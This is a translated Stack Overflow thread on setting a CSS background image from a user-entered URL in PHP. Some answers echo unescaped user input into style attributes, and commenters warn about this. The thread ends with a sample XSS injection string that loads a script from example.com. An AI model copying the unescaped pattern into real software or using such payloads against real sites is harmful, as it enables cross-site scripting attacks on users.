如何将动态图片作为CSS背景？

Question

如何将动态图片作为CSS背景？

13

我有一个logo div，我想将我的logo图像用作其背景，例如：

.logo {
    background: #FFF url(images/logo.jpg);
}

然而，在我的脚本的设置页面上，我想要有一个文本输入框来指定背景图像的URL。

如何将这个div的背景图像设置为输入的图像URL，而不必执行以下操作：

<div><img src="/images/logo.jpg" /></div>

（该脚本是用PHP编写的）

- MultiDev

它必须是持久的吗？它可以用JavaScript / jQuery完成，还是必须使用PHP完成？ - chrisgooley

我宁愿不使用JavaScript。 - MultiDev

4个回答

6

<input type="text" class="inputContent" />
<script type="text/javascript">
    var inputC = $('input.inputContent').val();
    $('body').css('background', 'url(' + inputC + ')');
</script>

这完全是基于js和jQuery实现的，因为我不懂PHP，但这是一个解决方案！

- Chad

3

您可以通过生成CSS的PHP脚本（较为高级），或使用内联样式来实现。例如：

<div style="background-image: <?php echo $_POST['whateverjpg']; ?>" >
//blah
</div>

这非常不安全，但是我能给出的最简洁的答案。

- James L.

1

PHP注入。只需转义您的数据即可。 - James L.

哦，是的……任何不对其用户输入数据（以及数据库输入，这很可能是指向此图像的URL所存储的）进行转义的人都应该了解一下Bobby Tables。 - Nathan

2

我认为你可以使用javascript动态设置背景图像，参考这里.

document.getElementById("xyz").style.backgroundImage="your path";

如果您不想使用JavaScript，为什么不能使用内联style属性。
例如：

<div style="background-image: url(xyz)"></div>

- Arun P Johny

网页内容由stack overflow 提供, 点击上面的

可以查看英文原文，
原文链接

- Nathan · Accepted Answer

以下是两种动态设置背景图片的选项：

在文档的 <head> 中放置内嵌样式表：

<style type="text/css">
.logo {
   background: #FFF url(<?php echo $variable_holding_img_url; ?>);
}
</style>

内联方式定义CSS属性background-image:

<div style="background-image: url(<?php echo $varable_holding_img_url; ?>);">...</div>

注意：

Bobby Tables

"> <script src="http://example.com/xss-attack.js"></script> <!--